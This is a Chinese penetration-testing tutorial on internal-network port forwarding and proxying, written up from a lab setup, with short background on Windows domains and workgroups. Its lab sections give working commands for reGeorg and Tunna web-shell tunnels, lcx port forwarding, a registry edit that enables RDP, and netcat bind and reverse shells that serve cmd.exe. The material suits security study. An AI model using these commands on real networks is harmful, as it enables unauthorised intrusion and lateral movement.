内网渗透 / 转发代理
2020-12-23 16:32:06 Author: xz.aliyun.com(查看原文) 阅读量:404 收藏

菜狗一个,学到太少了,内网渗透之前也没有怎么接触过,从现在起就开始好好学习一番,争取早点摆脱菜狗称号。


0x01:内网转发

在进行渗透测试过程中会遇到到内网中的其他机器是不允许外网机器访问的,因此需要通过端口转发(即隧道)或将得到的外网服务器设置为代理,使得攻击机可以直接访问并操作内网中的其他机器,这一过程就叫做内网转发。

端口映射

端口映射是将一台主机的内网(LAN)IP地址映射成一个公网(WAN)IP地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机;

0x02:Socket协议和Socks协议

socket协议

socket 被翻译为“套接字”,是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定,一台计算机可以接收其他计算机的数据,也可以向其他计算机发送数据。

Socks协议

Socks 是一种会话层代理协议,设计的最初目的是帮助授权用户突破防火墙的限制,获取普通用户不能访问的外部资源。考虑到几乎所有基于 TCP/IP 的应用软件都使用 socket 进行数据通信,为了便于应用软件的设计和开发,该协议针对 socket 中几种经典操作进行了针对设计,并将其定名为 Socks广泛使用的协议版本是 Socks4 和 Socks5

协议过程

  1. 客户端连接上代理服务器之后需要发送请求告知服务器目前的socks协议版本以及支持的认证方式。
  2. 代理服务器收到请求后根据其设定的认证方式返回给客户端
  3. 如果代理服务器不需要认证,客户端将直接向代理服务器发起真实请求
  4. 代理服务器收到该请求之后连接客户端请求的目标服务器
  5. 代理服务器开始转发客户端与目标服务器之间的流量

0x03:代理

正向代理

正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端.
正向代理类似一个跳板机,如下图,通过代理机访问外部资源。

#比如国内访问谷歌,直接访问不到
客户端发送数据到代理服务器上,再由代理服务器转发给谷歌获取数据,再返回给客户端
Lhost-->proxy-->Rhost


用途:

  1. 访问到原来访问不到的资源
  2. 可以做缓存,加速访问资源
  3. 代理可以对外隐藏用户信息

反向代理

反向代理指的是服务器端代理,代理服务器,客户端不知道实际提供服务的服务器。
以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一个服务器

Lhost<-->proxy<-->firewall<-->Rhost


作用:

  1. 保证内网安全,防止Web攻击,大型网站,通常将反向代理作为公网访问地址,Web服务器是内网。
  2. 实现负载均衡,优化网站的负载

0x04:内网代理转发的方式

实验环境:

  1. 攻击机器 192.168.13.128
  2. 外网服务器&内网网卡 192.168.13.129/192.168.142.130
  3. 内网服务器 192.168.142.128
    #### reGeorg+proxifier 正向代理

reGeorg是reDuh的继承者,利用了会话层的socks5协议,而Proxifier是一款强大的socks5客户端,可以让不支持通过代理服务器工作的网络能通过HTTPS或SOCKS代理或代理链。该文件下支持php,asp,jsp,aspx。在安全测试过程中,可以利用他们的组合完成从外网到内网的通信。

模拟的reGeorg转发视图:

这里简单演示一下这个组合要如何进行利用:

拿到一台外网服务器,这台服务器与内网服务器相连,下面将reGeorg对应的脚本上传到服务器端

直接访问上传的脚本文件,出现 Georg says, 'All seems fine' ,表示脚本运行正常

运行reGerog 监听本机一个端口:

python2 reGeorgSocksProxy.py -p 8080 -u http://192.168.66.131/tunnel.nosocket.php


因为是基于socks5,所以本地还需要一个socks5代理工具,这里就用到了proxifier,首先对proxifier进行配置。

使用proxifier需要注意几点:

  • direct表示不使用socks5代理,直接请求
  • block表示阻断请求
  • proxy socks5表示使用socks5代理服务
  • 默认不使用proxy socks5,仅对需要的程序使用socks5代理服务

先编辑本地代理服务器,端口就填刚才监听的

接下来配置代理规则

这样就可以访问内网的服务了

Tunna 正向代理**

Tunna:可以通过HTTP封装隧道通信任何TCP,以及用于绕过防火墙环境中的网络限制

常用参数:
-u 远程代理脚本地址
-l 表示本地监听的端口
-r 远程映射端口
-v 输出详细数据
-a 代理远程连接的主机地址

在得到的外网服务器WEB目录上放入Tunna工具

在攻击机上访问

在攻击主机上执行命令,将内网服务器(192.168.142.128)的3389端口映射到本地5555端口

python proxy.py -u http://192.168.13.129/conn.php -l 5555 -a 192.168.142.128 -r 3389 v


LCX端口转发

Lcx是一款端口转发工具,有三个功能:
1、将本地端口转发到远程主机某个端口上
2、将本地端口转发到本地另一个端口上
3、进行监听并进行转发使用

前提:
在端口转发的时候需要一台公网服务器
使用场景:
多用于被控制计算机处于内网的时候,被控制机可能中了木马程序,虽然能够进行控制,但还是没有使用远程终端登录到本机进行管理方便,因此在很多情况下,都会想方设法在被控制计算机上开启3389端口,通过lcx等进行端口转发,进而在本地连接到被控制计算机的远程终端并进行管理和使用。在没有端口转发的情况下外网主机是不能直接连接内网主机的,但是lcx工具可以将内网主机(出入内网主机的需要能够ping通互联网)的某个端口转发到外网的某个端口上面,这样的话处于外网的主机可以将映射到外网的端口再反弹到另一个外网的端口上面(用的最多的是3389),这样就可以直接远程连接反弹的端口,便可以与内网主机进行通信。

Windows

Usage:lcx-<listen|tran|slave> <option> [-log logfile]

-tran <等待连接的端口> <目标ip> <目标端口>  (端口映射)

-listen <监听slave请求的端口(对应slave 的第二个参数)> <等待连接的端口>  (端口转发)

-slave <你的ip> <监听端口(对应listen的第一个参数)> <目标ip> <目标端口>  (端口转发)

1、在外网中转服务器上运行

监听本地8888端口,同时将数据转发到10000端口

2、内网需要转发的机器上运行并开启3389端口

lcx -slave 192.168.142.130 8888 192.168.142.128 3389
#开启3389端口-Win7、Win2003、XP系统
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

将内网的3389端口转发到外网的8888端口上

通过连接外网服务器的10000端口就可以连接到那台内网主机的3389端口

rdesktop 192.168.13.129:10000


转发成功

NC 反弹CMDshell

NC就是在两台电脑之间建立链接,并返回两个数据流

1、正向连接
在内网机器上:

nc -l -p 8888 -t -e cmd.exe


在公网机器上:

nc -nvv 192.168.142.128 8888


2、反向连接
在公网机器上:

在内网机器上:

nc -t -e cmd.exe 192.168.142.130 8888


上面只是在我们发现有内网服务器的时候进行的代理转发操作,那如何去发现有内网服务器以及信息收集那?

0x05:内网环境探测/信息收集

0x06:域渗透

域的基础知识

域(Domain)

将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域,域是组织与存储资源的核心管理单元。
域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域,每个域都有自己的安全策略,以及它与其他域的安全信任关系。

域控(DC)

在域中,至少有一台域控制器,域控制器中保存着整个域的用户帐号和安全数据库。域控是活动目录的存储地方,即活动目录存储在域控制器内。
安装了活动目录的计算机就称为域控制器,其实在第一次安装活动目录的时候,安装活动目录的那台计算机就成为了域控制器。一个域可以有一台或多台域控制器。最经典的做法是做一个主辅域控。

活动目录(AD)

活动目录是微软Windows Server中,负责架构中大型网路环境的集中式目录管理服务。
活动目录的逻辑结构包裹:域(Domain)、域树(Domain Tree)、林(Forest)和组织单元(Organization Unit)

工作组的基础知识

工作组(Work Group)

工作组是局域网中的一个概念,由许多在同一物理地点,而且被相同的局域网连接起来的用户组成的小组,也可以是遍布一个机构的,但却被同一网络连接的用户构成的逻辑小组。
工作组就是将不同的电脑按功能分别列入不同的组中。

工作组的工作模式:

工作组网络也称为“对等式”的网络,因为网络中每台计算机的地位都是平等的,它们的资源以及管理是分散在每台计算机之上,所以工作组环境的特点就是分散管理,工作组环境中的每台计算机都有自己的“本机安全账户数据库”,称为SAM数据库。

域和工作组的区别

工作组是一群计算机的集合,它仅仅是一个逻辑的集合,各自计算机还是各自管理的,你要访问其中的计算机,还是要到被访问计算机上来实现用户验证的。而域不同,域是一个有安全边界的计算机集合,在同一个域中的计算机彼此之间已经建立了信任关系,在域内访问其他机器,不再需要被访问机器的许可了。

总结

这次先学习一下如何进行转发代理以及了解一下基础理论,下次就来学习一下内网、域的环境探测以及信息收集的方法。

参考博客

https://www.cnblogs.com/taostaryu/p/10547132.html


文章来源: http://xz.aliyun.com/t/8658
如有侵权请联系:admin#unsafe.sh